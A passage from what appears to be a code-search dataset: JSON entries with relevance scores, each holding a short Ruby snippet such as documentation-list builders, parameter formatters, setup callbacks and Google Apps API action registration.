m.path\n row[\"m_seq\"] = m.seq\n row[\"visibility\"] = m.visibility.to_s\n\n alias_names = []\n m.aliases.each do |other|\n if other.viewer # won't be if the alias is private\n alias_names << {\n 'name' => other.name,\n 'href' => other.viewer.path,\n 'aref' => other.viewer.aref\n } \n end\n end\n unless alias_names.empty?\n row[\"aka\"] = alias_names\n end\n\n #if @options.inline_source\n code = m.source_code\n row[\"sourcecode\"] = code if code\n #else\n # code = m.src_url\n #if code\n # row[\"codeurl\"] = code\n # row[\"imgurl\"] = m.img_url\n #end\n #end\n res << row\n end\n end\n if res.size > 0 \n outer << {\n \"type\" => vis.to_s.capitalize,\n \"category\" => singleton ? \"Class\" : \"Instance\",\n \"methods\" => res\n }\n end\n end\n end\n outer\n end", "title": "" }, { "docid": "765f62f0b0f61472d488d7457b9facda", "score": "0.55166435", "text": "def service_methods(list)\n @format << {:list_open => \"meta_data\"}\n\n begin \n service_limited?(list[0], list[1])\n \n $provider.for(list[0].to_sym, list[1].to_sym).get_meta_data().each do |key, meta|\n # service_methods/exposed_variables/readable_var_values\n @format << {:list_open => \"#{key}\"} \n \n # exposed/all/both/write/read/val_name\n meta.each do |m_k, m_v|\n options = {}\n if m_v.class == Hash || m_v.class == Array\n @format << {:list_open => \"#{m_k}\"} \n \n m_v.each do |a,b|\n options = {:parameters => \"#{b.join(\", \")}\"} if b\n @format << {:key => \"#{a}\", :options => options}\n end\n @format << {:list_close => \"#{m_k}\"}\n \n #readable vars\n else\n @format << {:key => \"#{m_k}\", :options => {:value => \"#{m_v}\"}}\n end\n end\n \n @format << {:list_close => \"#{key}\"}\n end\n @format << {:list_close => \"meta_data\"}\n @format \n rescue => e\n puts e\n return \"ERRORS\"\n end\n end", "title": "" }, { "docid": "6643def108bf00d9511fb069e590f674", "score": "0.55130774", "text": "def array_params(x, y, z)\n p x\n p y\n p z\nend", "title": "" }, { "docid": "3718a4b3a79395caa6cd86fbafb1f0b6", "score": "0.5506712", "text": "def some_method(a, b)\n\tp [a, b]\nend", "title": "" }, { "docid": "082ae20899b527c41313dd9b1218965d", "score": "0.5505865", "text": "def build_method_detail_list(section)\n outer = []\n\n methods = @methods.sort.select do |m|\n m.document_self and m.section == section\n end\n\n for singleton in [true, false]\n for vis in [ :public, :protected, :private ]\n res = []\n methods.each do |m|\n next unless m.visibility == vis and m.singleton == singleton\n\n row = {}\n\n if m.call_seq then\n row[:callseq] = m.call_seq.gsub(/->/, '&rarr;')\n else\n row[:name] = CGI.escapeHTML(m.name)\n row[:params] = m.params\n end\n\n desc = m.description.strip\n row[:m_desc] = desc unless desc.empty?\n row[:aref] = m.aref\n row[:visibility] = m.visibility.to_s\n\n alias_names = []\n\n m.aliases.each do |other|\n if other.viewer then # won't be if the alias is private\n alias_names << {\n :name => other.name,\n :aref => other.viewer.as_href(path)\n }\n end\n end\n\n row[:aka] = alias_names unless alias_names.empty?\n\n if @options.inline_source then\n code = m.source_code\n row[:sourcecode] = code if code\n else\n code = m.src_url\n if code then\n row[:codeurl] = code\n row[:imgurl] = m.img_url\n end\n end\n\n res << row\n end\n\n if res.size > 0 then\n outer << {\n :type => vis.to_s.capitalize,\n :category => singleton ? \"Class\" : \"Instance\",\n :methods => res\n }\n end\n end\n end\n\n outer\n end", "title": "" }, { "docid": "40adab2526ea8eaa198160a9042a9e81", "score": "0.55027467", "text": "def display_names; end", "title": "" }, { "docid": "14f5b0db3324528df4c17b827437b047", "score": "0.5494402", "text": "def inspect\n array.inspect\n end", "title": "" }, { "docid": "b6d0fe3379d8748d543210c07f36f6a9", "score": "0.54892033", "text": "def generate_parameters(params)\n result = []\n\n params.each do |param|\n result << \"<li>\"\n\n # Parameters which are documented in the comments but not\n # present in the code itself are given the strike through\n # styling in order to show the reader that they do not actually\n # exist\n if !param[:exists?]\n result << \"<strike>\"\n end\n\n result << \"<span class=\\\"name\\\">#{param[:name]} </span>\"\n result << \"<span class=\\\"type\\\">\"\n\n if param[:types]\n result << \"(\" << \"<tt>\" << param[:types].join(\", \") << \"</tt>\" << \")\"\n # Don't bother with TBD since 3x functions will never have type info per parameter.\n # However if the user does want to list a type for some reason that is still supported,\n # we just don't want to suggest that they need to\n elsif !param[:puppet_3_func]\n result << \"(<tt>TBD</tt>)\"\n end\n\n result << \"</span>\"\n\n # This is only relevant for manifests, not puppet functions\n # This is due to the fact that the scope of a parameter (as illustrated by\n # by it's fully qualified name) is not relevant for the parameters in puppet\n # functions, but may be for components of a manifest (i.e. classes)\n unless param[:fq_name].nil?\n result << \"<tt> => #{param[:fq_name]}</tt>\"\n end\n\n if param[:desc]\n result << \"- <div class=\\\"inline\\\"><p> #{param[:desc]} </p></div>\"\n end\n\n if !param[:exists?]\n result << \"</strike>\"\n end\n\n result << \"</li>\"\n end\n\n result.join\n end", "title": "" }, { "docid": "e4085631a80e81d18aabdf6f571a42db", "score": "0.5487341", "text": "def messages(*strs)\n p strs\nend", "title": "" }, { "docid": "6465ac8c3bf22fa9dea43feb2fd16ef3", "score": "0.54811573", "text": "def export(*methods)\n methods.flatten.map do |method|\n Rexport::Formatter.convert(instance_eval(method))\n rescue NameError\n \"\"\n end\n end", "title": "" }, { "docid": "14f8272ee8d39399f452204e3bcccdbd", "score": "0.5477877", "text": "def __comFormatParams(method)\n\tss = \"\"\n\tif (method.params.size > 0)\n\t\ttmp = \"\"\n\t\tmethod.params.each do |p|\n\t\t\tunless (tmp.empty?)\n\t\t\t\ttmp += \",\\n\"\n\t\t\tend\n\t\t\ta = []\n\t\t\ta.push(\"in\") if (p.input?)\n\t\t\ta.push(\"out\") if (p.output?)\n\t\t\ta.push(\"optional\") if (p.optional?)\n\t\t\ttmp += \" \" + \"[\" + a.join(', ') + \"] \" + p.ole_type + \" \" + p.name\n\t\tend\n\t\tss += \"\\n\" + tmp\n\tend\n\tss\nend", "title": "" }, { "docid": "d74aa216b4374d77ae7c4da03e4a9fca", "score": "0.54763025", "text": "def names\n end", "title": "" }, { "docid": "ac9bc0df341a4ab2a0ebfcfd567612c8", "score": "0.54717785", "text": "def render_array name, cols, values, locals\n controllers = values.map do |name, parent, includes, routes|\n c = [ label(\"Controller\", name) ]\n c << label(\"Parent\", parent) unless parent.empty?\n c << label(\"Includes\", includes) unless includes.empty?\n c << label(\"Routes\", routes)\n end\n\n double_space \"Controller Overview\", controllers\n end", "title": "" }, { "docid": "76bd9ccbd10ae08c8c16c8d6b4a9b6c3", "score": "0.54529506", "text": "def arg_names; end", "title": "" }, { "docid": "791d16bde42d722662cc652b60339f2f", "score": "0.54462713", "text": "def argument_list\n arguments.map{|arg| argument_heading(arg)}.join(\" \")\n end", "title": "" }, { "docid": "d3d8c7f476c5651a2137886fc3ca2fa7", "score": "0.54456145", "text": "def displaystrings( *args )\n args.each {|string| puts string}\nend", "title": "" }, { "docid": "eb761170bd300c4841bf8ccc6dadafcf", "score": "0.5443167", "text": "def display_values objs\n obj = objs[0]\n a = @editor_commands.collect do |c| \n s = nil\n if c.function != nil\n s = \"#R[#{mxptag('send \"&text;\" prompt')}#W#{c.name}#{mxptag('/send')}#R]:\" + ' '*(20 - c.name.length - 3)\n\n if c.pword_hidden\n s << \" #W*****\"\n else\n case c.type\n when :flags then s << \"#W#{obj.instance_variable_get(\"@#{c.name}\").display_flags(c.key, c.name, 20)}\"\n when :namespace then s << \"#W#{obj.namespace}\"\n else \n if c.opts[:view_filter]\n s << \" #W#{c.opts[:view_filter].call(obj.instance_variable_get(\"@#{c.name}\"))}\"\n else\n s << \" #W#{obj.instance_variable_get(\"@#{c.name}\")}\"\n end\n end\n end\n end\n s\n end\n z = @editor_commands.select {|com| com.proc_display != nil}.collect { |c| c.call_display nil, obj }\n\n if !z.empty?\n a << \"#R==========================================================================\"\n a += z\n end\n\n str = '#R__________________________________________________________________________' + ENDL\n if obj.is_a?(String)\n str<<(\"#R_%s_\" % \"#{@editor_name}: #{obj[0..30]}[...]\").ljust(74, '_') + ENDL\n else\n str<<(\"#R_%s_\" % \"#{@editor_name}: #{obj}\".strip_mxp!.upcase).ljust(74, '_') + ENDL\n end\n\n a.compact!\n str += a.join(ENDL) + ENDL\n str +=\"#R==========================================================================\" + ENDL\n str +=\"#R[#{mxp('send')}#Wdone#{mxp('/send')}#R]#n\" + ENDL\n end", "title": "" }, { "docid": "06505772177283193ff66ad7f9e79a33", "score": "0.54421836", "text": "def list(*instances)\n return '' if instances.blank?\n instances.flatten.collect {|i| brief(i) }.join(\", \")\n end", "title": "" }, { "docid": "879a1d17b90a2f582ee1abdf389c78dc", "score": "0.5437881", "text": "def array_printer(array) #def son funciones/metodos\n\tarray.each do |language| #metodo each\n\t\tputs \"Language: #{language.name} | Age: #{language.age} | Type System #{language.type}\"\n\tend\n\t\nend", "title": "" }, { "docid": "7b29d9e8cb5b31c38bf99e14ac063bc1", "score": "0.5424349", "text": "def look_and_say(array)\nend", "title": "" }, { "docid": "e7055c3f4377c68bcafa45abaf37326c", "score": "0.5422272", "text": "def diagnostic_procedures_list\n\t\tdiagnostic_procedures.any? ? diagnostic_procedures.map{|diag_proc| diag_proc.description_and_time }.to_sentence : \"\"\n\tend", "title": "" }, { "docid": "f9c20ac379b98f0685281e87165d0e97", "score": "0.54220384", "text": "def candidates(code, lineno, column=nil)\n methods = runtime_data(code, lineno, column) rescue \"\"\n methods.split\n end", "title": "" }, { "docid": "81cec6845eb4191332a7b1cb29f0ebe2", "score": "0.541166", "text": "def names\r\n end", "title": "" }, { "docid": "23cdcb24b47f2b3ca56353b91c0fc034", "score": "0.54044473", "text": "def list\n\t\t@m = []\t\t\n\t\tadd(@cp.properties)\n\t\tadd(@cp.gettersetters)\t\t\n\t\tadd_method(@cp.methods)\n\t\tadd(@cp.static_properties)\t\t\n\t\tadd_method(@cp.static_methods)\n\t\treturn @m\n\tend", "title": "" }, { "docid": "23cdcb24b47f2b3ca56353b91c0fc034", "score": "0.54044473", "text": "def list\n\t\t@m = []\t\t\n\t\tadd(@cp.properties)\n\t\tadd(@cp.gettersetters)\t\t\n\t\tadd_method(@cp.methods)\n\t\tadd(@cp.static_properties)\t\t\n\t\tadd_method(@cp.static_methods)\n\t\treturn @m\n\tend", "title": "" }, { "docid": "5a2a246a65b6bb881c15b390d2e33ee6", "score": "0.5404295", "text": "def show(parameters1,parameters2)\n puts \"this is one #{parameters1}\"\n puts \"And this is second #{parameters2}\"\nend", "title": "" }, { "docid": "1a0471f53b85924484a96ae08cb73dc0", "score": "0.53969353", "text": "def method_missing(meth, *phrases, &block)\n push(meth.to_s.gsub('_', ' '))\n _inspect(phrases)\n end", "title": "" }, { "docid": "c31b281e193584204e632119075c14f6", "score": "0.53957295", "text": "def look_and_say(array)\n\nend", "title": "" }, { "docid": "c31b281e193584204e632119075c14f6", "score": "0.53957295", "text": "def look_and_say(array)\n\nend", "title": "" } ]
8f5d38d334cf055db7b73bb8ed7fa1f9
End of Iteration methods
[ { "docid": "42c764cbdc949c1bd504fff22bacfdc7", "score": "0.0", "text": "def flush_db_for_load_team_proj\n ProjectIteration.delete_all\n Project.delete_all\n Team.delete_all\n end", "title": "" } ]
[ { "docid": "57116e293841f9b2302739df9ad6d692", "score": "0.74663407", "text": "def end_all\n # nothing here\n end", "title": "" }, { "docid": "1df65d045e0d65f9bf9b98c8cdd94356", "score": "0.74214804", "text": "def finish()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "a2558001f52e823796c6063cb07dc386", "score": "0.73266536", "text": "def ending; end", "title": "" }, { "docid": "a2558001f52e823796c6063cb07dc386", "score": "0.73266536", "text": "def ending; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.7143438", "text": "def end; end", "title": "" }, { "docid": "e2e6656b3f873d562455d569ecac469e", "score": "0.713892", "text": "def end; @els[1]; end", "title": "" }, { "docid": "4eabaa17983f861606fa0ff6df92384b", "score": "0.70177495", "text": "def end(*) end", "title": "" }, { "docid": "50926e82e8221e4169efc7e37b60211a", "score": "0.700961", "text": "def at_end; end", "title": "" }, { "docid": "50926e82e8221e4169efc7e37b60211a", "score": "0.700961", "text": "def at_end; end", "title": "" }, { "docid": "8704d23d47d0af916067c5189706815c", "score": "0.68348795", "text": "def process_end\n end", "title": "" }, { "docid": "4e680f1c7aee808db6a98830ab0647df", "score": "0.6815062", "text": "def end\n @handled = true\n end", "title": "" }, { "docid": "45592fe7e45a936f41da32ac7759c3cd", "score": "0.67392606", "text": "def on___end__(value); end", "title": "" }, { "docid": "b4f962513b458fce31b0ce45f6cb469f", "score": "0.671964", "text": "def end\n end", "title": "" }, { "docid": "b4f962513b458fce31b0ce45f6cb469f", "score": "0.671964", "text": "def end\n end", "title": "" }, { "docid": "b4f962513b458fce31b0ce45f6cb469f", "score": "0.671964", "text": "def end\n end", "title": "" }, { "docid": "b0274bddf48b4bfd0c1b5ec1cd188f5b", "score": "0.67108446", "text": "def end()\n `this.__end__`\n end", "title": "" }, { "docid": "c2142a2fc8b6527df06488247b8cc200", "score": "0.6704306", "text": "def _end!; end", "title": "" }, { "docid": "9a0558d58c972840c1ce1864e0922c69", "score": "0.6696342", "text": "def __end\n @__ended = true\n self\n end", "title": "" }, { "docid": "e161a9567c882372bd307e30d9202367", "score": "0.6635745", "text": "def terminate\n @END = true\n end", "title": "" }, { "docid": "a8e5a29f57aef8c45b8fe6862252245b", "score": "0.6618164", "text": "def finished; end", "title": "" }, { "docid": "6f0eba4686fc080abc34424d03a9e865", "score": "0.66084343", "text": "def end_sequence\n raise \"Unexpected end of sequence\"\n end", "title": "" }, { "docid": "75940942e7ce474659d5e84b547baa6a", "score": "0.65947986", "text": "def check_ending(_result)\n end", "title": "" }, { "docid": "2404b3c86eb15abb13d8e9a8c22ea67b", "score": "0.6580395", "text": "def end=(_); end", "title": "" }, { "docid": "a7a7f742c9125435d551237aec8f196c", "score": "0.6563541", "text": "def finish\n end", "title": "" }, { "docid": "a7a7f742c9125435d551237aec8f196c", "score": "0.6563541", "text": "def finish\n end", "title": "" }, { "docid": "5290fed6abb3d1aa4a92144f54fe399a", "score": "0.65592664", "text": "def finished\n end", "title": "" }, { "docid": "08bb0bb5b22ea7a701bf59425bcf1090", "score": "0.6549201", "text": "def batch_finished\n end", "title": "" }, { "docid": "55440aa05fe6c8da95df9bb89407db65", "score": "0.65393865", "text": "def end; self.begin + self.size - 1; end", "title": "" }, { "docid": "03fac5c467ccd39f52e9931bc540ae92", "score": "0.6525522", "text": "def runIteration\n end", "title": "" }, { "docid": "bafa14ea1ac57b9f707cd2809baa4314", "score": "0.6516123", "text": "def finish(*) end", "title": "" }, { "docid": "bafa14ea1ac57b9f707cd2809baa4314", "score": "0.6516123", "text": "def finish(*) end", "title": "" }, { "docid": "bafa14ea1ac57b9f707cd2809baa4314", "score": "0.6516123", "text": "def finish(*) end", "title": "" }, { "docid": "17966ac7ffda6a58d4fd24706fc4ee23", "score": "0.6512584", "text": "def iterations; end", "title": "" }, { "docid": "daa8999942f195c165f5a390930ab3e8", "score": "0.65104693", "text": "def end\n\n end", "title": "" }, { "docid": "1284ad8cfe9dc7e66f41331cef91d1e2", "score": "0.64878017", "text": "def run_finish\n end", "title": "" }, { "docid": "9fe02c64c43b2017777685daa768fbbe", "score": "0.6484533", "text": "def end_rows\n end", "title": "" }, { "docid": "e806f684239aab65146c38b186a51e5e", "score": "0.6482103", "text": "def finish\n #\n end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.646998", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.646998", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.646998", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.646998", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.646998", "text": "def finish; end", "title": "" }, { "docid": "2fa71f67c857eefd16abf835ac1216c5", "score": "0.646998", "text": "def finish; end", "title": "" }, { "docid": "44226da15e62dba023a06585038f1c8f", "score": "0.64696693", "text": "def end_mapping\n raise \"Unexpected end of mapping\"\n end", "title": "" }, { "docid": "dfbaa8a5231487bd87f33db0749f118c", "score": "0.64374423", "text": "def finish\n\t\t\t\t\t# Internally, this invokes `self.each` which then invokes `self.close`.\n\t\t\t\t\tBuffered.for(self)\n\t\t\t\tend", "title": "" }, { "docid": "4344874607ea61160369478f6d708bf9", "score": "0.64329696", "text": "def ended\n end", "title": "" }, { "docid": "7a173c5447af855701eb051a64986516", "score": "0.64143056", "text": "def endless?; end", "title": "" }, { "docid": "468e817c82d35063941d1eb13954bbf5", "score": "0.6405419", "text": "def overall_finished(_overall_result)\n end", "title": "" }, { "docid": "fbee2fbb9ab26ae24b2715db9df7300f", "score": "0.6381732", "text": "def quit\n skip\n end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6376769", "text": "def finish!; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6376769", "text": "def finish!; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6376769", "text": "def finish!; end", "title": "" }, { "docid": "69b58c0bdd470cbacf2f682c3bb3d28b", "score": "0.6376769", "text": "def finish!; end", "title": "" }, { "docid": "75d9dcde9d5affccc10634cbc9c1ec91", "score": "0.63720125", "text": "def end\n offset value.end\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.63656116", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.63656116", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.63656116", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.63656116", "text": "def finish\n end", "title": "" }, { "docid": "4f1456685591db1599bf5770fa30432a", "score": "0.63656116", "text": "def finish\n end", "title": "" }, { "docid": "f0f38e00644ca52b58dbbb81dda35b3f", "score": "0.63528824", "text": "def end_chunk; end", "title": "" }, { "docid": "70a10b2ee26ade53b6eeb6546a7cfa26", "score": "0.6343488", "text": "def iter_next\n false\n end", "title": "" }, { "docid": "61e594e9a61f84d90eff76e49f3e6eb2", "score": "0.63305223", "text": "def finished\n\tend", "title": "" }, { "docid": "17fb08515af51307cb9b789a2ff8575d", "score": "0.6326063", "text": "def eof\n end", "title": "" }, { "docid": "9e2afb587bcfb59347b8060099c5c0b8", "score": "0.63181245", "text": "def finish\n nil\n end", "title": "" }, { "docid": "453bf50eb84d5640b709eabc6650b515", "score": "0.6293604", "text": "def next()\n \n end", "title": "" }, { "docid": "fa7e02a0006d37db180afe19cf8026cc", "score": "0.62920094", "text": "def finish\n raise NotImplementedError\n end", "title": "" }, { "docid": "fa7e02a0006d37db180afe19cf8026cc", "score": "0.62920094", "text": "def finish\n raise NotImplementedError\n end", "title": "" }, { "docid": "7e340608aeb31d3ea4c087fad943a73b", "score": "0.6279383", "text": "def do_finish; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "8890434761a0a65eaaad4c36c5de8352", "score": "0.62691104", "text": "def finished?; end", "title": "" }, { "docid": "20302a78ea96ff8066415ed15ec3cff8", "score": "0.62672853", "text": "def _end_node\n fail 'not implemented'\n end", "title": "" }, { "docid": "bf3bafde559babfe0770c41d0ab3952d", "score": "0.62581336", "text": "def end\n @end ||= @children[-1].end\n end", "title": "" }, { "docid": "3197d54c048f8c28657a0d0ccf70abe0", "score": "0.6256968", "text": "def testing_end\n end", "title": "" }, { "docid": "7f5e9435e0db7d63b56c4ef68a5d9a30", "score": "0.62460876", "text": "def finish\n end", "title": "" }, { "docid": "11e1449468d7b6459b607d5c101b283c", "score": "0.62456983", "text": "def eof\n end", "title": "" }, { "docid": "0526a38126336dfc34b80cd6300d6c34", "score": "0.6238678", "text": "def exit_completed; end", "title": "" }, { "docid": "0c0351338cc822b08bfcd5564ae1587d", "score": "0.6236531", "text": "def end\n exit()\n end", "title": "" }, { "docid": "88f6ce14147120a724075daaf807880c", "score": "0.6224869", "text": "def finish(&block); end", "title": "" }, { "docid": "88f6ce14147120a724075daaf807880c", "score": "0.6224869", "text": "def finish(&block); end", "title": "" }, { "docid": "88f6ce14147120a724075daaf807880c", "score": "0.6224869", "text": "def finish(&block); end", "title": "" }, { "docid": "1cd628f8ec9be07a9429f021b9dfa3be", "score": "0.62224305", "text": "def element_tree_finish\n end", "title": "" }, { "docid": "264b2cec4121323b88a153a12709537d", "score": "0.62218297", "text": "def end_list\n $stdout.relevant_collector.end_list\n end", "title": "" }, { "docid": "559e897c56304f87db0c23af5e965218", "score": "0.6217709", "text": "def loop_end(iseq, start_label, end_label); end", "title": "" }, { "docid": "5a600a31a6444ba99da5de0f6ba164e4", "score": "0.6204445", "text": "def theEnd\n\t\tputs \"You died, please try again!\"\n\t\texit\n\tend", "title": "" }, { "docid": "65a76f324d0c8bcdd1541c7d869c8fa9", "score": "0.61881536", "text": "def exitAfterLoop\n @exited = true\n end", "title": "" }, { "docid": "76d47aa5652e178a022e95473368fd62", "score": "0.6186449", "text": "def finish\n @t.stop\n @done = true\n end", "title": "" }, { "docid": "5c9ce12b396a1901aa5b7236d9b5e589", "score": "0.61739343", "text": "def next; end", "title": "" }, { "docid": "5c9ce12b396a1901aa5b7236d9b5e589", "score": "0.61739343", "text": "def next; end", "title": "" }, { "docid": "5c9ce12b396a1901aa5b7236d9b5e589", "score": "0.61739343", "text": "def next; end", "title": "" }, { "docid": "5c9ce12b396a1901aa5b7236d9b5e589", "score": "0.61739343", "text": "def next; end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "6c19c5f60c534eea06ec3ae1bac69bb4", "score": "0.0", "text": "def set_flight\n @trip = Trip.find(params[:trip_id])\n @reservation =Reservation.find(params[:reservation_id])\n @flight = Flight.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60328794", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6017492", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59215194", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5914111", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5914111", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.5899049", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.58896494", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58892167", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58892167", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58892167", "text": "def actions; end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.5877696", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.58623844", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58087915", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57389474", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5730983", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5715401", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.57057375", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.5693375", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56700915", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.56519705", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.56497645", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56386065", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5626162", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.56089616", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.55999124", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598728", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.55892825", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5561578", "text": "def global_callbacks; end", "title": "" }, { "docid": 